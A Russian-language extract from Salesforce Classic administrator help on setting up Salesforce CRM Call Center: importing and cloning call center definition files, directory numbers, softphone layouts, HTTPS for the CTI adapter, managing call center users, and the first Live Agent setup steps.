Файлы определения центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Файл определения центра обработки вызовов задает набор полей и значений,
используемых для определения центра обработки вызовов в системе Salesforce для
отдельного адаптера CTI. Salesforce использует файлы определения центра обработки
вызовов для интеграции приложения Salesforce CRM Call Center в различные системы CTI.

По умолчанию любой установочный пакет содержит стандартныйфайл определения
центра обработки вызовов, который предназначен именно для данного адаптера CTI.
Имя XML-файла определяется поддерживаемой системой CTI, а сам файл хранится в
каталоге установки адаптера. Например, стандартныйфайл определения центра
обработки вызовов для адаптера Cisco IPCC Enterprise™ называется
CiscoIPCCEnterprise7x.xml.

Первый экземпляр центра обработки вызовов для определенного адаптера CTI
определяется путем импорта файла определения центра обработки вызовов в систему
Salesforce. Последующиецентрыобработкивызововмогутбытьсозданыпутемклонированияисходногоцентраобработки
вызовов, который был создан во время импорта.

Послеизмененияилидобавлениянового адаптерарекомендуемнастроитьфайлопределенияцентраобработкивызовов,
который должен содержать любые необходимые сведения о центре обработки вызовов. Например, файл определения
центраобработкивызововдля адаптера CTI, предназначенногодля системы, котораяподдерживает серверрезервирования
данных, должен содержать поля IP-адреса и номера порта для данного сервера. Эти поля могут отсутствовать в файлах
определенияцентраобработкивызововдля адаптеров CTI, предназначенныхдля систем, которыенеподдерживаютсервер
резервирования данных.

Прим.: Поля файла определения центра обработки вызовов, импортированного в систему Salesforce, не подлежат
изменению. Тем не менее, значения, заданные в этих полях, могут быть изменены в системе Salesforce.

СМ. ТАКЖЕ:

Создание центра обработки вызовов

Клонирование центра обработки вызовов
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Импорт файла определения центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта файлов
определения центра
обработки вызовов:
• «Настройка

приложения»

И

«Управление центрами
обработки вызовов»

Чтобы создать первый центр обработки вызовов для установленного адаптера CTI,
рекомендуемимпортироватьстандартныйфайлопределенияцентраобработкивызовов
в систему Salesforce.

1. Введите строку «Центры обработки вызовов» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Центры обработки вызовов».

2. Нажмите кнопку «Импорт».

3. Чтобы выбрать стандартныйфайл определения центра обработки вызовов в папке
установкиадаптера CTI, нажмитекнопку«Обзор...»рядомсполем «Файл определения
центра обработки вызовов». Имя XML-файлаопределяется типомподдерживаемой
системы CTI. Например, стандартныйфайл определения центра обработки вызовов
для адаптера Cisco™ IPCC Enterprise называется CiscoIPCCEnterprise7x.xml.
Чтобы заполнить поле «Файл определения центра обработки вызовов», нажмите
кнопку «Открыть».

4. Чтобы импортировать файл и вернуться на страницу «Все центры обработки
вызовов», нажмитекнопку«Импорт». Новая записьбудетдобавленавсписокцентров
обработки вызовов организации.

Прим.: Сообщение об ошибке «Такое внутреннее имя уже используется
центром обработки вызовов» указывает на то, что файл определения центра
обработки вызовов для данного адаптера CTI уже импортирован в систему
Salesforce. Чтобы создать дополнительные записи центра обработки вызовов
дляданного адаптера CTI, выполнитеклонированиетекущегоцентраобработки
вызовов и укажите другое значение в параметре reqInternalName.

5. Чтобыизменитьпараметрыновогоцентраобработкивызовов, щелкните ссылку «Правка»напротивнужногоимени.

Дополнительную информацию о клонировании центра обработки вызовов для отдельного адаптера CTI см. в разделе
«Клонирование центра обработки вызовов» на странице 2803.

СМ. ТАКЖЕ:

Создание центра обработки вызовов

Управление центрами обработки вызовов
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Создание центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания центра
обработки вызовов
посредством импорта или
клонирования:
• «Управление центрами

обработки вызовов»

Центр обработки вызовов Salesforce CRM Call Center соответствует единой системе
компьютерной телефонии (CTI), используемой в организации. Функции Salesforce CRM
Call Center доступны только тем пользователям Salesforce, которые назначены записи
центра обработки вызовов.

Система Salesforceподдерживаетдва способасоздания записицентраобработкивызовов.

• Импорт файла определения центра обработки вызовов в систему Salesforce.
Рекомендуем использовать данный способ для создания первого центра обработки
вызовов для установленного адаптера CTI.

• Клонирование текущего определения центра обработки вызовов. Рекомендуем
использовать данный способ для создания дополнительных центров обработки
вызововдляотдельногоадаптера CTI. Например, текущаязаписьдляцентраобработки
вызовов Cisco IPCC Enterprise™, расположенноговодномместе, можетбытьклонирована
для центра обработки вызовов Cisco IPCC Enterprise, расположенного в другом месте.

Чтобы просмотреть список созданных центров обработки вызовов, введите строку
«Центры обработки вызовов» вполе «Быстрый поиск» ивыберите «Центрыобработки
вызовов».

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Файлы определения центра обработки вызовов

Управление центрами обработки вызовов

Отображение и редактирование центра обработки вызовов

Управление пользователями центра обработки вызовов
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Клонирование центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
клонирования центра
обработки вызовов:
• «Управление центрами

обработки вызовов»

Чтобы создать дополнительные центры обработки вызовов для отдельного адаптера
CTI, рекомендуем клонировать текущий центр обработки вызовов. Например, текущая
запись для центра обработки вызовов Cisco IPCC Enterprise™, расположенного в одном
месте, может быть клонирована для центра обработки вызовов Cisco IPCC Enterprise,
расположенного в другом месте.

Чтобы клонировать центр обработки вызовов, выполните указанные ниже действия.

1. Введите строку «Центры обработки вызовов» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Центры обработки вызовов».

2. Щелкните имя нужного центра обработки вызовов.

3. Нажмите кнопку «Клонировать». При этом откроется страница редактирования
нового центра обработки вызовов, содержащая поля и значения исходного центра
обработкивызовов. Введитеновоеимявполе «Внутреннее имя», котороеспециально
отображается пустым. Поле «Внутреннее имя» может содержать не более 40 букв
или цифри должноначинаться с буквы. Значение поля «Внутреннее имя» должно
быть уникальным для каждого центра обработки вызовов, заданного в организации.

4. При необходимости внесите любые дополнительные изменения в новый центр
обработки вызовов.

5. Чтобы сохранить новый центр обработки вызовов, нажмите кнопку «Сохранить».
Чтобы открыть страницу «Все центры обработки вызовов» без сохранения
клонированного центра обработки вызовов, нажмите кнопку «Отмена».

Прим.: Значение поля, которое доступно только для чтения, не может быть перенесено в клонированную запись.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Создание центра обработки вызовов

Управление центрами обработки вызовов

Отображение и редактирование центра обработки вызовов

Импорт файла определения центра обработки вызовов
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Отображение и редактирование центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра или
редактирования центра
обработки вызовов:
• «Управление центрами

обработки вызовов»

Центр обработки вызовов Salesforce CRM Call Center соответствует единой системе
компьютерной телефонии (CTI), используемой в организации. Функции Salesforce CRM
Call Center доступны только тем пользователям Salesforce, которые назначены записи
центра обработки вызовов.

Чтобы просмотреть сведения о центре обработки вызовов, выполните указанные ниже
действия.

1. Введите строку «Центры обработки вызовов» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Центры обработки вызовов».

2. Щелкните имя нужного центра обработки вызовов.

Ниже перечислены действия, доступные на странице «Сведения о центре обработки
вызовов».

• Чтобы изменить свойства центра обработки вызовов, нажмите кнопку «Правка».

• Чтобы удалить запись центра обработки вызовов из системы Salesforce, нажмите
кнопку «Удалить». Удаление центра обработки вызовов инициирует удаление всех
связанныхномеров каталога. Дальнейшееиспользованиеприложения Salesforce CRM
Call Center будет доступно связанным пользователям только после их повторного
назначения другому центру обработки вызовов.

• Чтобысоздать точнуюкопиютекущегоцентраобработки вызовов, нажмите кнопку
«Клонировать».

• ЧтобыназначитьпользователейSalesforceданномуцентруобработкивызовов, щелкните«Управлениепользователями
центра обработки вызовов».

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Создание центра обработки вызовов

Управление центрами обработки вызовов

Включение протокола HTTPS для центра обработки вызовов

Файлы определения центра обработки вызовов
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Управление центрами обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта, просмотра,
редактирования или
удаления центра обработки
вызовов:
• «Управление центрами

обработки вызовов»

Центр обработки вызовов Salesforce CRM Call Center соответствует единой системе
компьютерной телефонии (CTI), используемой в организации. Функции Salesforce CRM
Call Center доступны только тем пользователям Salesforce, которые назначены записи
центра обработки вызовов.

Чтобы просмотреть список созданных центров обработки вызовов, введите строку
«Центры обработки вызовов» вполе «Быстрый поиск» ивыберите «Центрыобработки
вызовов». Ниже перечислены действия, доступные на данной странице.

• Чтобы просмотреть сведения о центре обработки вызовов, щелкните нужное имя.

• Чтобы импортировать созданныйфайл определения центра обработки вызовов,
нажмите кнопку «Импорт».

• Чтобыизменить сведения оцентре обработки вызовов, щелкните ссылку «Правка»
напротив нужного центра.

• Чтобы удалить запись центра обработки вызовов из системы Salesforce, щелкните
ссылку «Удал.» напротив нужного центра. Удаление центра обработки вызовов
инициирует удаление всех связанныхномеров каталога. Дальнейшееиспользование
приложенияSalesforce CRM Call Centerбудетдоступносвязаннымпользователямтолько
после их повторного назначения другому центру обработки вызовов.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Создание центра обработки вызовов

Файлы определения центра обработки вызовов

Управление пользователями центра обработки вызовов

Настройка каталога центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления каталогами
центра обработки вызовов:
• «Управление центрами

обработки вызовов»

Каждый центр обработки вызовов Salesforce CRM Call Center содержит каталог,
поддерживающий поиск по телефонным номерам организации.Ниже перечислены
способы настройки каталогов центра обработки вызовов.

• Ввод дополнительных номеров каталога во все или отдельные центры обработки
вызовов, настроенные в организации.

• Обновление макетов поиска телефонных номеров.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Управление центрами обработки вызовов

Управление пользователями центра обработки вызовов
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Добавление номера в каталог центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра, добавления,
редактирования или
удаления дополнительного
номера каталога:
• «Управление центрами

обработки вызовов»

Чтобы добавить номера каталога во все или отдельные центры обработки вызовов,
настроенные в организации, выполните указанные ниже действия.

1. Введите строку «Номера каталога» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Номера каталога». Ниже перечислены действия, доступные на
данной странице.

• Чтобы изменить дополнительный номер каталога, щелкните ссылку «Правка».

• Чтобы удалить дополнительный номер каталога, щелкните ссылку «Удал.».

• Чтобыоткрытьстраницуподробныхсведенийодополнительномномерекаталога,
щелкните имя нужного дополнительного номера каталога. Чтобы изменить
номер, нажмите кнопку «Правка». Чтобы удалить номер, нажмите кнопку
«Удалить». Чтобы создать точную копию дополнительного номера каталога,
нажмите кнопку «Клонировать».

2. Чтобыдобавитьновыйдополнительныйномеркаталога, нажмитекнопку«Создать».

3. Введите метку дополнительного номера каталога в поле «Имя».

4. Введите телефонный номер, включая код страны, в поле «Тел.». Префикс набора
(например, 9 или 1) является необязательным.

5. Выберите нужный каталог центра обработки вызовов в поле «Центр обработки
вызовов». Чтобыдобавитьномервовсекаталогицентраобработкивызовов, выберите
значение «-- Глобально --».

6. При необходимости введите дополнительные сведения в поле «Описание».

7. Чтобысохранитьномеривернутьсянастраницу «Вседополнительныеномеракаталога», нажмитекнопку«Сохранить».
Чтобы сохранить номер и добавить новый, нажмите кнопку «Сохранить и создать».

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Настройка каталога центра обработки вызовов
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Настройка макетов программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра, создания,
редактирования или
удаления макета
программного телефона:
• «Управление центрами

обработки вызовов»

Программный телефон — это настраиваемое средство управления вызовами, которое
отображается в том случае, если пользователь зарегистрирован в центре обработки
вызовов и работает на компьютере с установленным адаптером CTI.Подобно макетам
страницы, настраиваемые макеты программного телефона могут быть созданы и
назначены пользователям Salesforce CRM Call Center на основе их профилей.
Дополнительную информацию см. в разделах ниже.

• Создание настраиваемого макета программного телефона

• Назначение макета программного телефона профилю пользователя

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Управление центрами обработки вызовов

Создание настраиваемого макета программного телефона

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра, создания,
редактирования или
удаления макета
программного телефона:
• «Управление центрами

обработки вызовов»

Макетпрограммноготелефонапозволяетуправлятьотображаемымиполями, связанными
с вызовами, и объектами Salesforce, используемыми для поиска при входящем вызове.
Чтобы создать настраиваемый макет программного телефона, выполните указанные
ниже действия.

1. Введите строку «Макеты программного телефона» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макеты программного телефона».

2. Чтобы создать определение макета программного телефона, нажмите кнопку
«Создать». Чтобыпросмотретьилиизменитьопределениетекущегомакета, щелкните
ссылку «Правка» напротив нужного имени.

3. Введите уникальную метку для определения макета программного телефона в поле
«Имя».

4. Выберите нужный тип вызова в раскрывающемся списке «Выбрать тип вызова».
Каждое определение макета программного телефона поддерживает макеты для
входящих, исходящих и внутренних вызовов. Все три макета объединены в одно
определение макета программного телефона.

5. Чтобыдобавить, удалитьилиизменитьпорядокотображенияполейвтекущеммакете
программного телефона, щелкните ссылку «Правка» в разделе «Отобразить
следующие поля, связанные с вызовом».

• Чтобы добавить поле в макет программного телефона, выберите нужное поле в
столбце «Доступно» и нажмите кнопку «Добавить».
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• Чтобы удалить поле из макета программного телефона, выберите нужное поле в столбце «Варианты» и нажмите
кнопку «Удалить».

• Чтобыизменить порядок отображения полей в макете программного телефона, выберите нужное поле в столбце
«Варианты» и нажмите кнопку «Вверх» или «Вниз».

Любые изменения автоматически отображаются в области предварительного просмотра макета программного
телефона, котораярасположенавправойчастистраницы. Чтобыскрыть столбцы «Доступно» и «Варианты», щелкните
ссылку «Свернуть».

Поля, связанныес телефоном, отображаютсявпрограммномтелефонепользователя толькоприналичиидопустимых
значений. Например, поле «Код абонента», добавленное в макет исходящего вызова, отображаться не будет.

6. Чтобы добавить, удалить или изменить порядок отображения ссылок на объекты, связанные с вызовом, щелкните
ссылку «Добавить или удалить объекты» в разделе «Отобразить следующие объекты Salesforce».

7. Чтобы выбрать поля, которые должны отображаться в макете программного телефона в том случае, если найдена
всего одна запись для данного объекта, щелкните ссылку «Правка» напротив каждой строки «Если найден один
<объект>, отобразить:». Поля могут быть добавлены или удалены, либо изменен порядок их отображения.

8. Чтобывыбрать окна, которые должныотображатьсяпри совпаденииилинесовпадениисведенийо входящемвызове
с текущими записями Salesforce, щелкните ссылку «Правка» напротив каждого типа строки совпадения в разделе
«Параметры всплывающего окна»  (только для входящих вызовов). Все возможные строки совпадения и
соответствующие параметры всплывающего окна представлены в таблице ниже.

Параметры всплывающего окнаОписаниеСтрока совпадения

Текущее окно обозревателя
Отображениевсплывающихокон
в открытых окнах обозревателя.

Определение области отображения
всплывающих окон.

Всплывающие окна открываются в

Новая вкладка или новое окно
обозревателя

Отображениевсплывающихокон
на новых вкладках или в новых
окнах обозревателя.

Способ обработки данных
параметров определяется
используемым обозревателем.

• Вобозревателе Internet Explorer 6.0
всплывающие окна всегда
отображаются в новых окнах.

• Вобозревателе Internet Explorer 7.0
способ отображения
всплывающихоконопределяется
параметрами вкладки.

• В обозревателе Firefox 3.5 способ
отображениявсплывающихокон
определяется параметрами
вкладки.
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Параметры всплывающего окнаОписаниеСтрока совпадения

Не открывать окна
Данный параметр позволяет
блокироватьотображениелюбых
окон.

Настройкапараметроввсплывающего
окна для тех случаев, когда сведения
о входящем вызове не соответствуют
текущим записям Salesforce.

Совпадающие записи отсутствуют

Открыть в новом окне
Данный параметр позволяет
открыватьновуюстраницузаписи,
выбранной в раскрывающемся
списке.

Открыть на странице
Visualforce

Данный параметр позволяет
открывать определенную
страницу Visualforce.

Адаптер CTI передает данные о
вызове на страницу Visualforce
посредством URL-адреса. Данные,
подлежащие обязательной
передаче: ANI  (код абонента) и
DNIS  (номер, набранный
абонентом). При необходимости
URL-адрес позволяет передавать
дополнительные данные на
страницу Visualforce.

Не открывать окна
Данный параметр позволяет
блокироватьотображениелюбых
окон.

Настройкапараметроввсплывающего
окна для тех случаев, когда сведения
о входящем вызове соответствуют
только одной текущей записи
Salesforce.

Запись с одним совпадением

Открыть на странице сведений
Данный параметр позволяет
открывать страницу сведений о
совпадающей записи.

Открыть на странице
Visualforce

Данный параметр позволяет
открывать определенную
страницу Visualforce.

Адаптер CTI передает данные о
вызове на страницу Visualforce
посредством URL-адреса. Данные,
подлежащие обязательной
передаче: ANI  (код абонента) и
DNIS  (номер, набранный
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Параметры всплывающего окнаОписаниеСтрока совпадения

абонентом). При необходимости
URL-адрес позволяет передавать
дополнительные данные на
страницу Visualforce.

Не открывать окна
Данный параметр позволяет
блокироватьотображениелюбых
окон.

Настройкапараметроввсплывающего
окна для тех случаев, когда сведения
о входящем вызове соответствуют
нескольким текущим записям
Salesforce.

Записи с несколькими совпадениями

Открыть на странице поиска
Данный параметр позволяет
открывать страницу поиска.

Открыть на странице
Visualforce

Данный параметр позволяет
открывать определенную
страницу Visualforce.

Адаптер CTI передает данные о
вызове на страницу Visualforce
посредством URL-адреса. Данные,
подлежащие обязательной
передаче: ANI  (код абонента) и
DNIS  (номер, набранный
абонентом). При необходимости
URL-адрес позволяет передавать
дополнительные данные на
страницу Visualforce.

Чтобы свернуть развернутые строки совпадения, щелкните «Свернуть».

Данный раздел отображается только при создании адаптера CTI посредствоминструментария CTI Toolkit 2.0 или более
поздней версии.

9. Настройте макеты программного телефона для остальных типов вызова, доступных в раскрывающемся списке
«Выбрать тип вызова».

10. Нажмите кнопку «Сохранить».

Прим.: Доступность некоторых функций Salesforce CRM Call Center, описанных в данной справочной системе,
определяется настройками организации или версией инструментария CTI Toolkit, использованной для разработки
программного телефона. Дополнительную информацию можно получить у администратора.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Назначение макета программного телефона профилю пользователя
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Назначение макета программного телефона профилю пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения макета
программного телефона
профилю пользователя:
• «Управление центрами

обработки вызовов»

Настраиваемые макеты программного телефона, для которых добавлены определения,
могут быть назначены профилям пользователей.

1. Введите строку «Макеты программного телефона» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макеты программного телефона».

2. Нажмите кнопку «Назначение макета».

3. Выберитенужныймакетпрограммноготелефонадлякаждогопрофиляпользователя,
доступного на странице. На данной странице отображаются только те профили,
которые содержат пользователей, назначенных центру обработки вызовов, или
которым уже назначен настраиваемый макет программного телефона.

4. Нажмите кнопку «Сохранить».

Прим.: Назначенныймакетпрограммноготелефонабудетдоступенпользователям
центра обработки вызовов при следующем входе в систему Salesforce.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Настройка макетов программного телефона

Включение протокола HTTPS для центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения протокола
HTTPS для центра обработки
вызовов:
• «Настройка

приложения»

И

«Управление центрами
обработки вызовов»

Адаптеры CTI, разработанные с помощью инструментария CTI Toolkit 4.0, позволяют
указыватьдляцентраобработкивызововбезопасный URL-адресилиадрес, использующий
протокол HTTPS. Протокол HTTPS обеспечивает дополнительную защиту центра
обработки вызовов, а также позволяет заблокировать предупреждения о смешанном
содержимом, которые могут отображаться в обозревателе в том случае, если протокол
HTTPS используется только в организации Salesforce, но не используется в центре
обработки вызовов.

Чтобы включить протокол HTTPS, выполните указанные ниже действия.

1. Введите строку «Центры обработки вызовов» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Центры обработки вызовов».

2. Щелкните имя нужного центра.

3. Нажмите кнопку «Правка».

4. Введите безопасный URL-адрес адаптера в поле «URL-адрес адаптера CTI».
Например, https://localhost:11000.

5. Нажмите кнопку «Сохранить».

Важное замечание: Помимовводабезопасного URL-адресанастранице «Параметры
Call Center», пользовательможет вноситьизменениявфайлконфигурацииадаптера
CTI, а также создавать и устанавливать новые сертификаты для адаптера CTI.
Дополнительную информацию см. в Руководстве разработчика CTI Toolkit.
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Прим.: Предыдущие версии CTI являются безопасными, но используют другие технологии Windows®.

СМ. ТАКЖЕ:

Общие сведения об инструментарии Salesforce CTI Toolkit

Настройка Salesforce CRM Call Center

Управление пользователями центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления или
удаления пользователей из
центра обработки вызовов:
• «Управление центрами

обработки вызовов»

Функции Salesforce CRM Call Centerдоступнытолько темпользователям Salesforce, которые
назначены администратором центру обработки вызовов. Ниже перечислены разделы,
содержащие соответствующие инструкции.

• Добавление пользователя в центр обработки вызовов

• Удаление пользователя из центра обработки вызовов

Каждый пользователь центра обработки вызовов имеет доступ к личным параметрам
программного телефона, которые определяют:

• необходимость автоматическоговхода впрограммныйтелефонпривходе в систему
Salesforce;

• способ отображения единственной записи, соответствующей входящему вызову.

Дляизмененияличныхпараметровпрограммноготелефона, задаваемыхпоумолчанию
всем новым пользователям центра обработки вызовов, рекомендуем использовать
Force.com API.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Создание центра обработки вызовов

Управление центрами обработки вызовов
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Добавление пользователя в центр обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
пользователей в центр
обработки вызовов:
• «Управление центрами

обработки вызовов»

Чтобы добавить пользователя в центр обработки вызовов Salesforce CRM Call Center,
выполните указанные ниже действия.

1. Введите строку «Центры обработки вызовов» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Центры обработки вызовов».

2. Щелкните имя центра обработки вызовов, которому должен быть назначен
пользователь Salesforce.

3. Щелкните«Управлениепользователямицентраобработкивызовов»всвязанном
списке «Пользователи центра обработки вызовов».

4. Нажмите кнопку «Добавить пользователей».

5. Укажите критериипоискапользователей Salesforce, которыедолжныбытьназначены
центру обработки вызовов.

6. Чтобы просмотреть список пользователей Salesforce, соответствующих заданным
критериям поиска, нажмите кнопку «Найти». Результаты поиска не содержат
пользователей, которые уже назначены центру обработки вызовов, так как
одновременнопользовательможетбытьназначен толькоодномуцентруобработки
вызовов.

7. Установитефлажкинапротивнужныхпользователейинажмитекнопку «Добавить
в центр обработки вызовов».

Чтобы изменить центр обработки вызовов на странице редактирования сведений об
отдельном пользователе, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Измените значениеполя «Центр обработки вызовов». Чтобыизменитьцентробработки вызовов, щелкните значок

поиска ( ) ивыберитеновыйцентробработкивызовов. Чтобыудалитьпользователяиз текущегоцентраобработки
вызовов, удалите имя центра обработки вызовов, отображающееся в данном поле.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Управление пользователями центра обработки вызовов

Создание центра обработки вызовов
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Удаление пользователя из центра обработки вызовов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления пользователей
из центра обработки
вызовов:
• «Управление центрами

обработки вызовов»

Чтобы удалить пользователя из центра обработки вызовов Salesforce CRM Call Center,
выполните указанные ниже действия.

1. Введите строку «Центры обработки вызовов» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Центры обработки вызовов».

2. Щелкните имя центра обработки вызовов, из которого должен быть удален
пользователь Salesforce.

3. Щелкните«Управлениепользователямицентраобработкивызовов»всвязанном
списке «Пользователи центра обработки вызовов».

4. Щелкните ссылку «Удалить» напротив имени нужного пользователя.

Чтобыудалитьнесколькихпользователей, установитефлажокв столбце «Действие»
напротив нужных пользователей и нажмите кнопку «Удалить пользователей».

Чтобы изменить центр обработки вызовов на странице редактирования сведений об
отдельном пользователе, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Измените значение поля «Центр обработки вызовов». Чтобы изменить центр

обработкивызовов, щелкнитезначокпоиска ( ) ивыберитеновыйцентробработки
вызовов. Чтобыудалитьпользователяиз текущегоцентраобработкивызовов, удалитеимяцентраобработкивызовов,
отображающееся в данном поле.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Call Center

Управление пользователями центра обработки вызовов

Создание центра обработки вызовов
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Создание каналов интернет-общения

Live Agent для администраторов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки приложения
Live Agent:
• «Настройка

приложения»

Для создания профилейили
наборов полномочий:
• «Управление

профилями и наборами
полномочий»

Вас приветствует приложение Live Agent для администраторов! Live Agent — это
универсальное решение, позволяющее агентам и администраторам службы поддержки
быстро обрабатывать проблемы клиентов посредством чата. Благодаря Live Agent,
сотрудники службы поддержки могут использовать универсальные инструменты
обслуживания, доступные на консоли Salesforce, при общении с клиентами в режиме
реального времени.

Администраторы организаций могут настраивать приложение Live Agent для
пользователей, включая агентов и администраторов службы поддержки. Благодаря
быстрой и многоуровневой настройке, приложение Live Agent может содержать
определенный набор функций, используемых агентами и администраторами при
обработке проблем клиентов.

Приложение Live Agent доступно пользователям организации только после его
включения, настройки и развертывания. Итак, начнем.
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Создание базового внедрения Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки приложения
Live Agent:
• «Настройка

приложения»

Для создания профилейили
наборов полномочий:
• «Управление

профилями и наборами
полномочий»

Прежде чем настроить приложение Live Agent, рекомендуем создать базовое внедрение
Live Agentдляорганизации. Позавершенииосновнойнастройкиполученноевнедрение
Live Agent может использоваться агентами для общения с клиентами.
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Включение Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения Live Agent:
• «Настройка

приложения»

Чтобы начать работу с приложением Live Agent, включите его для организации. При
необходимости настройте включенное приложение Live Agent.

1. Вменю «Настройка» введите «Параметры Live Agent» вполе «Быстрый поиск»,
затем выберите «Параметры Live Agent»».

2. Установите флажок «Включить Live Agent».

3. Нажмите кнопку «Сохранить».
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Создание пользователей Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
пользователей:
• «Управление

внутренними
пользователями»

Для предоставления агентам
возможностииспользования
Live Agent:
• Полномочие

администратора «API
включен»

